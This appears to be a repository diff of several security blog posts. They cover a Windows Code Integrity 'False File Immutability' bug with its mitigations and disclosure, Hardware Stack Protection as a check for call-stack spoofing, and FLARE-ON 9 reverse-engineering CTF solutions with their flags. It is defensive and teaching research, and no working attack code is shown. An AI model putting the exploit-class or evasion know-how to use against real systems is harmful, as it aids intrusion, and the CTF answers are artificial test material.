||||
As a third-party, we can’t patch Code Integrity, so what can we do to protect our customers? To mitigate **ItsNotASecurityBoundary**, we created **FineButWeCanStillEasilyStopIt**, a filesystem minifilter driver that prevents Code Integrity from opening security catalogs over network redirectors. You can find it on GitHub [here](https://github.com/gabriellandau/ItsNotASecurityBoundary/tree/main/FineButWeCanStillEasilyStopIt).
|
||||
|
||||
FineButWeCanStillEasilyStopIt has to jump through some hoops to correctly identify the problematic behavior while minimizing false positives. Ideally, CI itself could be fixed with a few small changes. Let’s look at what that would take.
|
||||
|
||||

|
||||
|
||||
As mentioned above in the Affected Operations section, applications can mitigate double-read vulnerabilities by copying the file contents out of the file mapping into the heap, and exclusively using that heap copy for all subsequent operations. The kernel heap is called the [pool](https://learn.microsoft.com/en-us/windows/win32/memory/memory-pools), and the corresponding allocation function is **ExAllocatePool**.
|
||||
|
||||

|
||||
|
||||
An alternative mitigation strategy to break these types of exploits is to pin the pages of the file mapping into physical memory using an API such as **MmProbeAndLockPages**. This prevents eviction of those pages when the attacker empties the working set.
|
||||
|
||||
|
||||
## End-user detection and mitigation
|
||||
|
||||
Fortunately, there is a way for end-users to mitigate this exploit without changes from Microsoft – Hypervisor Protected Code Integrity (HVCI). If HVCI is enabled, CI.dll doesn’t do catalog parsing at all. Instead, it sends the catalog contents to the Secure Kernel, which runs in a separate virtual machine on the same host. The Secure Kernel stores the received catalog contents in its own heap, from which signature validation and parsing are performed. Just like with the **ExAllocatePool** mitigation described above, the exploit is mitigated because file changes have no effect on the heap copy.
|
||||
|
||||
The probabilistic nature of this attack means that there are likely many failed attempts. Windows records these failures in the **Microsoft-Windows-CodeIntegrity/Operational** event log. Users can check this log for evidence of exploitation.
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||
# Disclosure
|
||||
|
||||
The disclosure timeline is as follows:
|
||||
- 2024-02-14: We reported ItsNotASecurityBoundary and FineButWeCanStillEasilyStopIt to MSRC as VULN-119340, suggesting **ExAllocatePool** and **MmProbeAndLockPages** as simple low-risk fixes
|
||||
- 2024-02-29: The Windows Defender team reached out to coordinate disclosure
|
||||
- 2024-04-23: Microsoft releases [KB5036980](https://support.microsoft.com/en-us/topic/april-23-2024-kb5036980-os-builds-22621-3527-and-22631-3527-preview-5a0d6c49-e42e-4eb4-8541-33a7139281ed) Preview with the **MmProbeAndLockPages** fix
|
||||
- 2024-05-14: Fix reaches GA for Windows 11 23H2 as [KB5037771](https://support.microsoft.com/en-us/topic/may-14-2024-kb5037771-os-builds-22621-3593-and-22631-3593-e633ff2f-a021-4abb-bd2e-7f3687f166fe); we have not tested any other platforms (Win10, Server, etc).
|
||||
- 2024-06-14: MSRC closed the case, stating "We have completed our investigation and determined that the case doesn't meet our bar for servicing at this time. As a result, we have opened a next-version candidate bug for the issue, and it will be evaluated for upcoming releases. Thanks, again, for sharing this report with us."
|
||||
|
||||
|
||||
# Fixing Code Integrity
|
||||
|
||||
Looking at the original implementation of **CI!I_MapAndSizeDataFile**, we can see the legacy code calling **ZwCreateSection** and **ZwMapViewOfSection**:
|
||||
|
||||

|
||||
|
||||
Contrast that with the new **CI!CipMapAndSizeDataFileWithMDL**, which follows that up with **MmProbeAndLockPages**:
|
||||
|
||||

|
||||
|
||||
|
||||
# Summary and conclusion
|
||||
|
||||
Today we discussed and named a bug class: **False File Immutability**. We are aware of two public exploits that leverage it, PPLFault and ItsNotASecurityBoundary.
|
||||
|
||||
[PPLFault](https://github.com/gabriellandau/PPLFault): Admin -> PPL [-> Kernel via GodFault]
|
||||
- Exploits bad immutability assumptions about image section in CI/MM
|
||||
- Reported September 2022
|
||||
- Patched February 2024 (~510 days later)
|
||||
|
||||
[ItsNotASecurityBoundary](https://github.com/gabriellandau/ItsNotASecurityBoundary): Admin -> Kernel
|
||||
- Exploits bad immutability assumptions about data sections in CI
|
||||
- Reported February 2024
|
||||
- Patched May 2024 (~90 days later)
|
||||
|
||||
If you are writing Windows code that operates on files, you need to be aware of the fact these files may be modified while you are working on them, even if you deny write sharing. See the Affected Operations section above for guidance on how to protect yourselves and your customers against these types of attacks.
|
||||
|
||||
ItsNotASecurityBoundary is not the end of FFI. There are other exploitable FFI vulnerabilities out there. My colleagues and I at Elastic Security Labs will continue exploring and reporting on FFI and beyond. We encourage you to follow along on X [@GabrielLandau](https://x.com/GabrielLandau) and [@ElasticSecLabs](https://x.com/elasticseclabs).
|
|
@ -0,0 +1,63 @@
|
|||
---
|
||||
title: "Finding Truth in the Shadows"
|
||||
slug: "finding-truth-in-the-shadows"
|
||||
date: "2023-01-26"
|
||||
description: "Let's discuss three benefits that Hardware Stack Protections brings beyond the intended exploit mitigation capability, and explain some limitations."
|
||||
author:
|
||||
- slug: gabriel-landau
|
||||
image: "blog-thumb-laser-tunnel.jpg"
|
||||
category:
|
||||
- slug: security-research
|
||||
---
|
||||
|
||||
Microsoft has begun rolling out user-mode [Hardware Stack Protection](https://techcommunity.microsoft.com/t5/windows-kernel-internals-blog/understanding-hardware-enforced-stack-protection/ba-p/1247815) (HSP) starting in Windows 10 20H1. HSP is an exploit mitigation technology that prevents corruption of return addresses on the stack, a common component of [code reuse attacks](https://en.wikipedia.org/wiki/Return-oriented_programming) for software exploitation. Backed by silicon, HSP uses Intel's Control flow Enforcement Technology (CET) and AMD's Shadow Stack, combined with software support [described in great detail](https://windows-internals.com/cet-on-windows/) by Yarden Shafir and Alex Ionescu. Note that the terms HSP and CET are often used interchangeably.
|
||||
|
||||
HSP creates a shadow stack, separate from the regular stack. It is read-only in user mode, and consists exclusively of return addresses. Contrast this with the regular stack, which interleaves data with return addresses, and must be writable for applications to function correctly. Whenever a CALL instruction executes, the current instruction pointer (aka return address) is pushed onto both the regular and shadow stacks. Conversely, RET instructions pop the return address from both stacks, generating an exception if they mismatch. In theory, ROP attacks are mitigated because attackers can't write arbitrary values to the read-only shadow stack, and changing the Shadow Stack Pointer (SSP) is a privileged operation, making pivots impossible.
|
||||
|
||||
Today we’re going to discuss three additional benefits that HSP brings, beyond the intended exploit mitigation capability, then go into some limitations.
|
||||
|
||||
# Debugging
|
||||
|
||||
Although designed as an exploit mitigation, HSP provides useful data for other purposes. Modern versions of [WinDbg](https://apps.microsoft.com/store/detail/windbg-preview/9PGJGD53TN86?hl=en-us&gl=us) will display a hint to the user that they can use SSP as an alternate way to recover a stack trace. This can be very useful when debugging stack corruption bugs that overwrite return addresses, because the shadow stack is independent. It's also useful in situations where the stack unwind data is unavailable.
|
||||
|
||||
For example, see the WinDbg output below for a process memory dump. The `k` command displays a regular stack trace. `dps @ssp` resolves all symbols it can find, starting at SSP - this is essentially a shadow stack trace. Note how the two stack traces are identical except for the first frame:
|
||||
|
||||

|
||||
|
||||
# Performance
|
||||
|
||||
Kernel mode components such as EDR and ETW often capture stack traces to provide additional context to each event. On x64 platforms, a stack walk entails capturing the thread’s context, then looking up a data structure for each frame that enables the walker to "unwind" it and find the next frame. These lookups were slow enough that Microsoft saw fit to construct a [multi-tier cache system](http://uninformed.org/index.cgi?v=8&a=2&p=20) when they added x64 support. You can see the traverse/unwind process approximated [here](https://github.com/reactos/reactos/blob/11a71418d50f48ff0e10d2dbbe243afaf34c4368/sdk/lib/rtl/amd64/unwind.c#L909C6-L1011) in ReactOS, sans cache.
|
||||
|
||||
Given that the entire shadow stack likely resides on a single page and no unwinding is required, shadow stack walking is probably more performant than traditional stack walking, though this has yet to be proven.
|
||||
|
||||
# Detection
|
||||
|
||||
The shadow stack provides an interesting detection opportunity. Adversaries can use techniques demonstrated in [ThreadStackSpoofer](https://github.com/mgeeky/ThreadStackSpoofer/tree/master) and [CallStackSpoofer](https://github.com/WithSecureLabs/CallStackSpoofer) to obfuscate their presence against thread stack scans (e.g. `StackWalk64`) and inline stack traces like [Sysmon Open Process events](https://www.lares.com/blog/hunting-in-the-sysmon-call-trace/).
|
||||
|
||||
By comparing a traditional stack walk against its shadowy sibling, we can both detect and bypass thread stack spoofing. We present [ShadowStackWalk](https://github.com/gabriellandau/ShadowStackWalk), a PoC that implements CaptureStackBackTrace/StackWalk64 using the shadow stack to catch thread stack spoofing.
|
||||
|
||||
When the stack is normal, ShadowStackWalk functions similarly to `CaptureStackBackTrace` and `StackWalk64`:
|
||||
|
||||

|
||||
|
||||
ShadowStackWalk is unaffected by intentional breaks of the call stack such as [ThreadStackSpoofer](https://github.com/mgeeky/ThreadStackSpoofer/blob/f67caea38a7acdb526eae3aac7c451a08edef6a9/ThreadStackSpoofer/main.cpp#L20-L25). Frames missed by other techniques are in green:
|
||||
|
||||

|
||||
|
||||
ShadowStackWalk doesn't care about forged stack frames. Incorrect frames are in red. Frames missed by other techniques are in green:
|
||||
|
||||

|
||||
|
||||
# Limitations
|
||||
|
||||
Hardware support for HSP is limited. HSP requires at least an 11th-gen Intel or 5000-series Ryzen CPU, both released in late 2020. There is no software emulation. It will take years for the majority of CPUs to support HSP.
|
||||
|
||||
Software support for HSP is limited. Microsoft has been slowly rolling it out, even among their own processes. On an example Windows 10 22H2 workstation, it's enabled in roughly 40% of processes. Because HSP is an exploit mitigation, implementation will likely start with common exploitation targets like web browsers, though not all msedge.exe processes shown below are not protected by it. As HSP matures and support improves, non-HSP processes will become outliers worthy of additional scrutiny, similar to processes in 2023 without DEP support. For now, malware can simply choose processes without HSP enabled. Also of note is that HSP does not support WOW64 at all.
|
||||
|
||||

|
||||
|
||||
HSP was designed with an exploit mitigation threat model. It was never designed to defend against adversaries who have code execution, can change thread contexts, and perform system calls. In time, adversaries will adapt their call stack manipulations to manipulate the shadow stack as well. However, the fact that the shadow stack is user-RO and changing the SSP is privileged operation means that such tampering requires system calls which can (theoretically) be subjected to far more scrutiny than traditional stack tampering.
|
||||
|
||||
# Conclusion
|
||||
|
||||
Today we discussed three potential benefits of Windows Hardware Stack Protection, and released [a PoC](https://github.com/gabriellandau/ShadowStackWalk) demonstrating how it can be used to both detect and defeat defense evasions that manipulate the call stack.
|
|
@ -0,0 +1,553 @@
|
|||
---
|
||||
title: "FLARE-ON 9 Solutions:"
|
||||
slug: "flare-on-9-solutions-burning-down-the-house"
|
||||
date: "2023-01-04"
|
||||
subtitle: "Burning down the house"
|
||||
description: "This year's FLARE-ON consisted of 11 different reverse engineering challenges with a range of interesting binaries. We really enjoyed working on these challenges and have published our solutions here to Elastic Security Labs."
|
||||
author:
|
||||
- slug: daniel-stepanic
|
||||
- slug: cyril-francois
|
||||
- slug: salim-bitam
|
||||
- slug: remco-sprooten
|
||||
image: "illustration-endpoint-security-stop-malware-1284x926.jpg"
|
||||
category:
|
||||
tags:
|
||||
- malware analysis
|
||||
- reverse-engineering
|
||||
---
|
||||
|
||||
## Introduction
|
||||
|
||||
To celebrate cybersecurity month, the Malware Analysis and Reverse Engineering Team (MARE) enjoyed participating in the Mandiant [FLARE-ON Challenge](https://www.mandiant.com/resources/blog/announcing-ninth-flareon-challenge). FLARE-ON is an excellent event for participants of all backgrounds and experience levels who want to learn more about malware analysis. This year consisted of 11 different reverse engineering challenges with a range of interesting binaries. We really enjoyed working on these challenges and have published our solutions here to Elastic Security Labs.
|
||||
|
||||
### Challenge 1 - “Flaredle”
|
||||
|
||||
> Welcome to FLARE-ON 9! You probably won't win. Maybe you're like us and spent the year playing Wordle. We made our own version that is too hard to beat without cheating. Play it live at: [http://flare-on.com/flaredle/](http://flare-on.com/flaredle/)
|
||||
|
||||
#### Solution
|
||||
|
||||
After downloading and unpacking the file, we see 4 file objects. 
|
||||
|
||||
The index.html file and accompanying js files give away what we are talking about is a HTML/JavaScript challenge. Opening the file script.js confirms our suspicion. In the first few lines of code the answer to the challenge is clear to the trained eye. Let’s explain.
|
||||
|
||||

|
||||
|
||||
On line 9 the value of **rightGuessString** translates to WORDS[57]. Even if you don't know javascript, the variables and iterative loop suggest an evaluation of the user-supplied guess (rightGuessString) and a hard-coded value. If we look at the contents of words.js, we see the correct value on the 58th line (javascript arrays begin with 0 but the file start at line 1): "flareonisallaboutcats".
|
||||
|
||||

|
||||
|
||||
By visiting the online game and submitting this string, we can validate the correct flag for challenge one!
|
||||
|
||||

|
||||
|
||||
**Flag:** [flareonisallaboutcats@flare-on.com](mailto:flareonisallaboutcats@flare-on.com)
|
||||
|
||||
## Challenge 2 - “Pixel Poker”
|
||||
|
||||
> I said you wouldn't win that last one. I lied. The last challenge was basically a captcha. Now the real work begins. Shall we play another game?
|
||||
|
||||
### Solution
|
||||
|
||||
This challenge consists of a 32-bit Windows application that has been sweeping the nation, called Pixel Poker! Users get 10 attempts to click on the correct pixel from the window before the program terminates.
|
||||
|
||||

|
||||
|
||||
The error message after 10 failed attempts provided a reliable lead to follow, and we focused on where that click restriction was implemented. We converted that decimal value of 10 into hexadecimal (0xA) and kicked off an immediate value search.
|
||||
|
||||

|
||||
|
||||
The first result from our search is listed with instructions: **cmp eax, 10**. You might not be fluent in assembly, but “cmp” is a mathematical instruction to compare the contents of “eax” with the number ten. At first glance, that looks like the kind of logic behind that click restriction.
|
||||
|
||||

|
||||
|
||||
By viewing the decompiled code, we can confirm this is our intended target instruction with the error message we saw on prior screenshot after the 10 attempts. We’re one step closer to knowing where to click in the window.
|
||||
|
||||

|
||||
|
||||
In order to locate the validation logic and those coordinates, we look at code in close proximity to the previous error message. We observe two instances where the EAX register is populated using strings (“FLAR”) and (“E-On”) that then get divided with hardcoded values and compared with our clicked pixel values.
|
||||
|
||||

|
||||
|
||||
After these straightforward operations, we derive two coordinates (95, 313). If you are up for a challenge and haven’t had too much coffee, go on and click that pixel.
|
||||
|
||||
The flag can also be attained by leveraging a debugger and enabling the zero-flag (ZF) on two JNZ (jump-if-not-zero) instructions that appear directly after the previously-mentioned compare checks. This method allows us to bypass manually clicking the correct pixel location.
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
For fun, we wrote a small program to patch out the click restriction and brute force clicking all available pixels using the SendMessage API.
|
||||
|
||||

|
||||
|
||||
Two minutes and about 100,000 clicks later, the flag was released to us.
|
||||
|
||||

|
||||
|
||||
\*_Flag: \*\_w1nN3r_W!NneR_[cHick3n_d1nNer@flare-on.com](mailto:cHick3n_d1nNer@flare-on.com)
|
||||
|
||||
## Challenge 3 - “Magic 8 Ball”
|
||||
|
||||
> You got a question? Ask the 8 ball!
|
||||
|
||||
### Solution
|
||||
|
||||
This challenge appeared to be an interactive 8-ball game developed with an open source SDL [library](https://www.libsdl.org/). Based on quick observations, there are two obvious inputs moving the 8-ball directionally (left, up, down, right) and an input box with a maximum of 75 characters.
|
||||
|
||||

|
||||
|
||||
The first starting point was tracing the string “Press arrow keys to shake the ball” that was displayed in the application. The decompiled view of the function containing this string showed another string directly above it was being copied (“gimme flag pls?”).
|
||||
|
||||

|
||||
|
||||
Our next pivot was reviewing the code calling this function for more context. After the software executes and the game is displayed, a “do while” loop polls for input.
|
||||
|
||||

|
||||
|
||||
One function we reviewed stood out, one containing multiple “if then” conditional statements based on single character values.
|
||||
|
||||
Our malware analysts begin their careers in childhood, diligently playing video games for literally hours at a time– to them this pattern resembles the [Konami](https://en.wikipedia.org/wiki/Konami_Code) code, by which players enabled undocumented features after entering a series of inputs (left, left, up, right, up, left, down, up, left).
|
||||
|
||||

|
||||
|
||||
By moving the 8-ball first in this order of operations and then entering the previously-recovered string (“gimme flag pls?”), we unlocked the flag.
|
||||
|
||||

|
||||
|
||||
**Flag:** U*cRackeD_th1$\_maG1cBaLL*!! [\_@flare-on.com](mailto:_@flare-on.com)
|
||||
|
||||
## Challenge 4 - “darn_mice”
|
||||
|
||||
> "If it crashes it's user error." -Flare Team
|
||||
|
||||
### Solution
|
||||
|
||||
The fourth challenge was a 32bit PE binary. Executed without any arguments, the binary initially appeared to run briefly before terminating. When run with arguments, though, we see a strange error message.
|
||||
|
||||

|
||||
|
||||
After opening the binary in IDA and tracing that error, we determined that the first argument is being passed to the function sub_401000.
|
||||
|
||||

|
||||
|
||||
In this function we see that our input is added to the values of a constant array, and at line 51 we see that the result is executed as code. This means that our input and the value in the array are resolved as an opcode which is returned. And that means a NOP opcode (0x90) isn’t an option, if you’re following along. The opcode we’re looking for is RET (0xC3): we copied the byte sequences out of IDA and hacked together an evaluation in Python.
|
||||
|
||||
```
|
||||
arr = [0x50,0x5E,0x5E,0xA3,0x4F,0x5B,0x51,0x5E,0x5E,0x97,0xA3,0x80,0x90,0xA3,0x80,0x90,0xA3,0x80,0x90,0xA3,0x80,0x90,0xA3,0x80,0x90,0xA3,0x80,0x90,0xA3,0x80,0x90,0xA2,0xA3,0x6B,0x7F]"".join([chr(0xC3 - c) for c in arr])
|
||||
```
|
||||
|
||||
Using the current input we can retrieve the flag.
|
||||
|
||||

|
||||
|
||||
**Flag:** i*w0uld_l1k3_to_RETurn_this*[joke@flare-on.com](mailto:joke@flare-on.com)
|
||||
|
||||
## Challenge 5 - “T8”
|
||||
|
||||
> FLARE FACT #823: Studies show that C++ Reversers have fewer friends on average than normal people do. That's why you're here, reversing this, instead of with them, because they don't exist. We’ve found an unknown executable on one of our hosts. The file has been there for a while, but our networking logs only show suspicious traffic on one day. Can you tell us what happened?
|
||||
|
||||
### Solution
|
||||
|
||||
For this challenge, we’ve been provided with a PCAP in addition to a binary.
|
||||
|
||||
#### PCAP file overview
|
||||
|
||||
The PCAP contains the communication between the binary and a C2 server (not provided). Having studied thousands of PCAPs, we note an exchange between the binary and C2 server that resembles base64.
|
||||
|
||||

|
||||
|
||||
#### Binary overview
|
||||
|
||||
This binary appears to be written in C++ or implement classes in a similar way.
|
||||
|
||||

|
||||
|
||||
If this binary is written in C++, our goal is to find the VTABLE and reconstruct it. The VTABLE in question is located in .rdata at the address 0x0100B918, which means we can stop speculating about this being C++.
|
||||
|
||||

|
||||
|
||||
Renaming the VTABLE functions makes analysis easier and more efficient. We stepped through execution, and a few operations stood out. Following the flow of execution, a pseudorandom string was generated by the function located at 0x0FC1020, using the srand and rand APIs to randomly generate 5 digits. After appending those to the substring FO9, the entire string is MD5-hashed.
|
||||
|
||||

|
||||
|
||||
The string “ahoy” is RC4-encrypted using the MD5 hash as a key, and then the result is base64-encoded and sent to the server using an HTTP POST request. Data sent back from C2 is base64-decoded and then decrypted using the same MD5 hash. To proceed with the challenge, we’ll need to apply our understanding of this configuration.
|
||||
|
||||
Our next objective is to bruteforce the random string to derive the RC4 key. To do that, we wrote a script to generate a word list of all the possible values for that string of eight characters which will resemble “FO9\<5DIGITS\>”. We also know that the string “ahoy” is encrypted and encoded by this process, which means we can look for that string in the PCAP by searching for “ydN8BXq16RE=”.
|
||||
|
||||

|
||||
|
||||
Our script tells us the random string (F0911950) and hash (a5c6993299429aa7b900211d4a279848), so we can emulate the C2 server and replay the PCAP to decrypt the data. But, as seen in the screenshot below, just putting a breakpoint after the decrypt_server_data function we can find the flag.
|
||||
|
||||

|
||||
|
||||
**Flag:** i*s33*[you_m00n@flare-on.com](mailto:you_m00n@flare-on.com)
|
||||
|
||||
## Challenge 6 - “à la mode”
|
||||
|
||||
> FLARE FACT #824: Disregard flare fact #823 if you are a .NET Reverser too. We will now reward your fantastic effort with a small binary challenge. You've earned it kid!
|
||||
|
||||
### Solution
|
||||
|
||||
This challenge starts off in a hauntingly familiar way: with an incident response chat log and a .NET DLL.
|
||||
|
||||

|
||||
|
||||
The chat log offers a clue that another (missing) component may interact with the DLL.
|
||||
|
||||

|
||||
|
||||
Working with .NET samples often, you’ll be familiar with dnSpy. Right away we spotted a function of the DLL labeled GetFlag and containing client-side code for connecting to a NamedPipe called FlareOn.
|
||||
|
||||

|
||||
|
||||
Given the previous clue, we know there is something more to this DLL. We opened it in IDA and noted some interesting strings, which appear superficially similar.
|
||||
|
||||

|
||||
|
||||
Cross-referencing these strings led us to a simple encryption function used throughout the program with a single-byte XOR (0x17). In this function the library imports are consistent with NamedPipe functionality.
|
||||
|
||||

|
||||
|
||||
After annotating the libraries and reviewing this functionality, it establishes a named pipe and performs validation.
|
||||
|
||||

|
||||
|
||||
This validation function uses a new string encryption function and string comparison (lstrcmpA) when the connection occurs.
|
||||
|
||||

|
||||
|
||||
With this information, we used x64dbg to set this validation function as the origin function and retrieved the decrypted flag.
|
||||
|
||||

|
||||
|
||||
**Flag:** M1x3d*M0dE*[4_l1f3@flare-on.com](mailto:4_l1f3@flare-on.com)
|
||||
|
||||
## Challenge 7 - “anode”
|
||||
|
||||
> You've made it so far! I can't believe it! And so many people are ahead of you!
|
||||
|
||||
### Solution
|
||||
|
||||
This challenge is a 55 MB Windows PE file which appears to be a packed Node.js binary. When the binary is executed it asks for a flag and returns a “Try Again” error message.
|
||||
|
||||
, we see it when we search strings.
|
||||
|
||||

|
||||
|
||||
We can better locate it using the HxD hex editor, which reveals it in a larger blob of cleartext code.
|
||||
|
||||

|
||||
|
||||
This blob of code also tells us that the flag is expected to have a length of 44 characters. Sometimes the wrong answer tells you enough to get the right one, though. The attempt generated a new error, though. Readers should note that this attempt was coincidentally made using an unpacked version.
|
||||
|
||||

|
||||
|
||||
That error message appears in the cleartext blog of code we discovered, which helps us locate the responsible logic and get one step closer to the right flag.
|
||||
|
||||

|
||||
|
||||
Curiously, when submitting the same bad flag using the packed binary, the error is different.
|
||||
|
||||

|
||||
|
||||
Something is definitely happening, and while experimenting has revealed a few things we should finish reviewing this cleartext blob of code to understand how the challenge works. It appears as though the flag is submitted and transformed within a state machine that we need to figure out.
|
||||
|
||||

|
||||
|
||||
And the result of that state machine operation is evaluated against the correct flag.
|
||||
|
||||

|
||||
|
||||
But now we have a different (bigger) problem, because it looks like each value is XOR-encrypted with a randomly-generated value supplied by the math.random function. Also we don’t know the sequence of values that produce the expected sequence of operations. But this is functional in the challenge binary, which means there’s a fixed sequence of randoms.
|
||||
|
||||
We need to dump those values, and we can do this by patching the script being used by the challenge binary and writing that sequence of values to a file.
|
||||
|
||||

|
||||
|
||||
We also dump the sequence of states using the same method.
|
||||
|
||||

|
||||
|
||||
Now we can patch the binary to output both sequences of values and states, which makes debugging so much easier.
|
||||
|
||||

|
||||
|
||||
We have the elements we need to reverse operations and their order, but we’re feeling lazy so let’s build ourselves a javascript deobfuscator! This will help get rid of that state machine and reverse the encryption to reveal the flag, we’re using the [pyesprima](https://github.com/int3/pyesprima) frontend for Javascript. First, we’ll create a class that inherits the esprima.NodeVisitor class and will be able to visit the JavaScript Abstract Syntax Tree (AST).
|
||||
|
||||

|
||||
|
||||
Next, we then visit the AST and collect each subtree associated to a switch case node.
|
||||
|
||||

|
||||
|
||||
For each state that was previously extracted, we test the if/else node’s condition and choose the right branch’s inner subtree. Either the predicate is a literal and we directly test its value or the predicate is a Math.random call so we test the next value.
|
||||
|
||||

|
||||
|
||||
Finally, for each expression we determine if it contains a Math.floor(Math.random) call and then replace it with the right random value, then for the current state replace the original subtree with our expression.
|
||||
|
||||

|
||||
|
||||
Pyesprima doesn’t return JavaScript code back from its AST. So we implemented a very small JavaScript code emitter that replaces each node with the proper JavaScript code recursively.
|
||||
|
||||

|
||||
|
||||
But after comparing the deobfuscated script and the packed binary, we still don’t have the same result!
|
||||
|
||||
There must be some shenanigans in addition to math.random. We quickly discover by testing that the if(x) and the if(xn), with x being a number, have two strange different behaviors. if(x) always returns false if the number is \> 0 and if(xn) always returns false if the number contains a zero!
|
||||
|
||||
So with this in mind, we fixed the predicates in the script before running the deobfuscator again.
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
This looks like our obfuscated script.
|
||||
|
||||

|
||||
|
||||
Let’s reverse this obfuscation.
|
||||
|
||||

|
||||
|
||||
The final inverted script with “target” as the initial flag looks like this:
|
||||
|
||||

|
||||
|
||||
_Readers interested in the scripts created for FLARE-ON challenges can find them linked at the end of this publication._
|
||||
|
||||
Running the script ends up producing an array.
|
||||
|
||||

|
||||
|
||||
**Flag:** n0t*ju5t_A_j4vaSCriP7*[ch4l1eng3@flare-on.com](mailto:ch4l1eng3@flare-on.com)
|
||||
|
||||
## Challenge 8 - “Backdoor”
|
||||
|
||||
> I'm such a backdoor, decompile me why don't you…
|
||||
|
||||
### Solution
|
||||
|
||||
This challenge consists of an 11MB Windows PE binary that executes when launched, but returns nothing to the console. We often augment analysis with packet captures, and were listening with WireShark when we observed a DNS resolution event. We’re off to a great start.
|
||||
|
||||

|
||||
|
||||
We notice a convention that may be significant: we have flare_xx functions and their flared_yy counterparts. If we inspect the flare_xx functions, they each contain a “try/catch” structure.
|
||||
|
||||

|
||||
|
||||
In dnSpy, we trace execution to an InvalidProgramException and don’t reach the flared_yy code. But in spite of that, the challenge seems to execute somewhat successfully.
|
||||
|
||||
Beginning with main and analyzing the first function, we have a rough outline of what’s happening: there are two layers of “try/catch” logic doing similar things in different ways, and creating a dynamic method Intermediate Language (IL) somehow provided by parameters.
|
||||
|
||||
The first layer, flare_71, constructs a dynamic method with the IL directly passed as parameter:
|
||||
|
||||

|
||||
|
||||
Some behind-the-scenes work happens to patch the IL code using a metadata token that has the dynamic method’s context before SetCode is called. A dictionary of locations and metadata tokens is resolved by calling GetTokenFor in the same context, as well.
|
||||
|
||||

|
||||
|
||||
After patching, the IL is only valid in the context of the dynamic method. To reconstruct the binary properly, now we need to dump the IL before it can be modified, patch it with the right metadatatoken, and then patch the binary to fix the broken function.
|
||||
|
||||
We can create a script to do that in Python.
|
||||
|
||||

|
||||
|
||||
After patching the binary’s first layer, it decompiles correctly. The flared_70 function, responsible for running the second obfuscation layer, is a bit more complicated though.
|
||||
|
||||
The function will read one of its PE sections by name, using the first 8 characters of the hash of the metadata token and corresponding to the function that raised the InvalidProgramException error. This is decrypted with a hardcoded key. The decrypted section contains the IL of the function to call.
|
||||
|
||||

|
||||
|
||||
The IL patching is somewhat complicated this time and involves a little obfuscation.
|
||||
|
||||

|
||||
|
||||
The next problem is that we don’t have all the hashes beforehand, only when the function gets called. If we put a breakpoint on the resolving function, we can dump each hash.
|
||||
|
||||

|
||||
|
||||
We wrote a script to do the patching automatically and run it each time we add a new hash.
|
||||
|
||||

|
||||
|
||||
At this point most of the functions are deobfuscated and we can move on to the core of the challenge.
|
||||
|
||||
Initially we observed a large number of DNS resolution events, but didn’t see the malware attempt a network connection to our Flask server. While debugging the sample, though, we can see what looks like an attempt to process commands.
|
||||
|
||||

|
||||
|
||||
The problem is that we still don’t know how to interact with the backdoor. By backtracking to the source of each command, we can see that this sample is using the IP addresses received from these DNS resolutions for communication. Now we know why we didn’t see this sample try to connect to our Flask server, at least.
|
||||
|
||||
How this worked, we were about to learn, is a little complicated.
|
||||
|
||||
The first IP address is used to create a file, after which all commands arrive in the form of a “255.x.y.z” network address. Each IP address returned to the sample is parsed for its octets, but it might be easier to understand with a concrete example:
|
||||
|
||||
When a DNS resolution returns 255.0.0.2, the backdoor expects two specific bytes of data (43d and 50d) which are used to calculate what superficially resembles a network address, 43.50.0.0. The command processing function then performs a comparison and appends a value between 0 and 22.
|
||||
|
||||

|
||||
|
||||
The flared_56 function XORs a value in an array with 248 to determine if the result is equal to the value passed in the parameter or not. If so, it appends a small chunk of text to one of the object’s properties and that value is then removed from the array.
|
||||
|
||||

|
||||
|
||||
This tells us which command to send and in which order to append all the text chunks. We also noticed that when the array value is empty the \_bool flag is set to false. That’s probably not an accident, so let’s inspect any functions using that flag.
|
||||
|
||||

|
||||
|
||||
This function is triggered each time an element is deleted from the value array.
|
||||
|
||||

|
||||
|
||||
We can expect something to happen once the right conditions are met, and endeavor to contrive them.
|
||||
|
||||
First, we generated a list of all possible IP address values. Then we configured [FakeDns](https://github.com/Crypt0s/FakeDns) to resolve \*.flare-on.com to that value list.
|
||||
|
||||

|
||||
|
||||
Next, we use FakeDns to respond to requests using a round-robin approach that resolves to each IP address in order, until finally we get the response we were waiting for.
|
||||
|
||||

|
||||
|
||||
\*_Flag: \*\_W3_4re_Known_f0r_[b31ng_Dyn4m1c@flare-on.com](mailto:b31ng_Dyn4m1c@flare-on.com)
|
||||
|
||||
## Challenge 9 - “encryptor”
|
||||
|
||||
> You're really crushing it to get this far. This is probably the end for you. Better luck next year!
|
||||
|
||||
### Solution
|
||||
|
||||
For this challenge, we’re provided two files: a Windows PE executable and an encrypted file.
|
||||
|
||||

|
||||
|
||||
Encryption is interesting, and when we opened it in HxD we immediately saw a bunch of garbage followed by hexified data.
|
||||
|
||||

|
||||
|
||||
When the binary is executed, it helpfully indicates a path is expected as an argument.
|
||||
|
||||

|
||||
|
||||
But nothing happens when a random file is chosen, so a less random file must be what we need.
|
||||
|
||||

|
||||
|
||||
We begin by tracing the function in IDA and note that it’s looking for a specific extension, “.EncryptMe”.
|
||||
|
||||

|
||||
|
||||
Let’s try again with a random file that uses that specific file extension.
|
||||
|
||||

|
||||
|
||||
And we see a new file generated with a different extension (“.Encrypted”) and a larger file size.
|
||||
|
||||

|
||||
|
||||
Looking more closely at the executable in IDA, we determine that the binary is using ChaCha20 with a random key encrypted using RSA-2048.
|
||||
|
||||

|
||||
|
||||
_We need that key._
|
||||
|
||||
On the most basic level, encryption is just a system of math made up of basic operations like addition and multiplication. RSA is considered a strong implementation because it uses big numbers, and most RSA libraries implement a big number library of some kind. But we don’t really want to reverse all that just for the key, especially when we can find all the related functions in the sample and apply our knowledge of RSA.
|
||||
|
||||
We need to generate prime numbers for two variables, p and q.
|
||||
|
||||

|
||||
|
||||
We need to generate the modulus value n, which is equal to p\*q. Using p and q as inputs, return n. So far, so good.
|
||||
|
||||

|
||||
|
||||
And we’re going to need a value phi, which is equal to (p-1)\*(q-1).
|
||||
|
||||

|
||||
|
||||
We deduce that the 2 previous functions are the decrement function that produce p-1 and q-1.
|
||||
|
||||

|
||||
|
||||
Finally, we have an operation that produces the secret key d using phi and the exponent e.
|
||||
|
||||

|
||||
|
||||
